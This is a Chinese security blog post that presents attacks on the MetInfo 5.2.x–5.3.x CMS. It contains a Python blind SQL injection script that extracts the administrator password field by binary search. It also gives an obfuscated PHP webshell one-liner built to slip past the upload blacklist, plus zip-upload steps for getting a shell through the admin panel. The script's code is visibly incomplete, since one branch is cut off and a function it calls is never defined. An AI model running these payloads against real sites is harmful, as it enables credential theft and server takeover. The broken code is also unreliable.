首先声明:本文所公布的盲注脚本是之前在乌云上根据已公开漏洞研究出来的,并不一定适用于最新版,但可作为参考~至于后台GetShell也是看乌云上公开的利用细节整理出来的,并复现成功~
利用二分法的盲注脚本:
#coding=utf-8
import requests
headers = {
'User-Agent': 'Mozilla/5.0 Chrome/28.0.1500.63'
}
keyword = '2013-12-26'#设置判断返回结果差异的关键字,可根据实际情况修改
datalength = 0
host = 'http://127.0.0.1/MetInfov5.2.10'#需要测试的网站
GetlengthPayload = '/news/news.php?lang=cn&class2=5&serch_sql=as a join met_admin_table as b where if(length(b.admin_pass)>%d,1,0) limit 3,1-- sd&imgproduct=xxxx'
GetDataPayload = '/news/news.php?lang=cn&class2=5&serch_sql=as a join met_admin_table as b where if(ascii(substr(b.admin_pass,%d,1))>%d,1,0) limit 3,1-- sd&imgproduct=xxxx'
#获取的是met_admin_table表中的admin_pass字段值,可根据需要做出更改
#使用二分法判断
def HalfOfIt(payload,maximum,minimum,index=None):
#index为None时:跑数据的长度
#index != None 时:跑数据的内容
requesturl = host+payload
ave = (maximum+minimum)/2
if index == None:
requesturl = requesturl % (ave)
else:
requesturl = requesturl % (index,ave)
content = requests.get(requesturl,headers=headers).content
#There are two values left to guess
if maximum-minimum == 1:
#当最大值和最小值相差1的时候,ave = (maximum+minimum)/2
# ave的大小和最小值一样,所以要是关键词存在,则说明ascii比最小值大,所以返回最大值
if keyword in content:
return maximum
else:
return minimum
if keyword in content:
#minimum #如果关键词存在,说明ascii值大于平均值,所以最小值改为平均值
return HalfOfIt(payload,maximum,ave,index)
else:
#maximum
GetInfoLength()
if datalength == 0:
print('出错啦')
exit(-1)
output = '[数据内容]===>'
#最小值到最大值对应ASCII表,目的是将特殊字符和数字字母包含到里面
maximum = 126
minimum = 33
for index in range(1,datalength+1):
#range(1,5) #代表从1到5(不包含5)
#range(1,5,2) #代表从1到5,间隔2(不包含5)
#range(5) #代表从0到5(不包含5)
retval = HalfOfIt(GetDataPayload,maximum,minimum,index)
output += chr(retval)#ord和chr两个内置的函数,用于字符与ASCII码之间的转换。
print(output)
后台GetShell方法:
http://www.wooyun.org/bugs/wooyun-2015-0134479
漏洞文件:adminincludeuploadify.php 206行
黑名单过滤:
$danger=explode(‘|’,’preg_replace|assert|dirname|file_exists|file_get_contents|file_put_contents|fopen|mkdir|unlink|readfile|eval|cmd|passthru|system|gzuncompress|exec|shell_exec|fsockopen|pfsockopen|proc_open|scandir’);
$ban=’preg_replace|assert|eval|$_POST|$_GET’;
上传.zip 文件会自动解压,不过有过滤,但是是采用黑名单方式,可以轻易绕过。
如下面的一句话
<?php $a=range(1,200);$b=chr($a[96-1+1]).chr($a[114-1+1]).chr($a[114-1+1]).chr($a[100-1+1]).chr($a[113-1+1]).chr($a[115-1+1]); $b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]); ?>
保存为kk.php文件,并压缩为kk.zip格式
在后台找个能上传的的地方上传, 设置代理,Burp抓包,修改参数 type=skin 上传成功后在/templates目录下生成 kk.php
已上传至GitHub:https://github.com/Soulmk/MyGit/tree/master/MetInfo_EXP-GetShell
Q群:242410171
论坛:http://bbs.whitecell-club.org
欢迎投稿以及提供建议。
版权声明:该科普文章属于WhiteCellClub团队的Soulmk原创,转载须申明!
本文始发于微信公众号(WhiteCellClub):MetInfo5.2.X-5.3.X盲注脚本及后台GetShell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论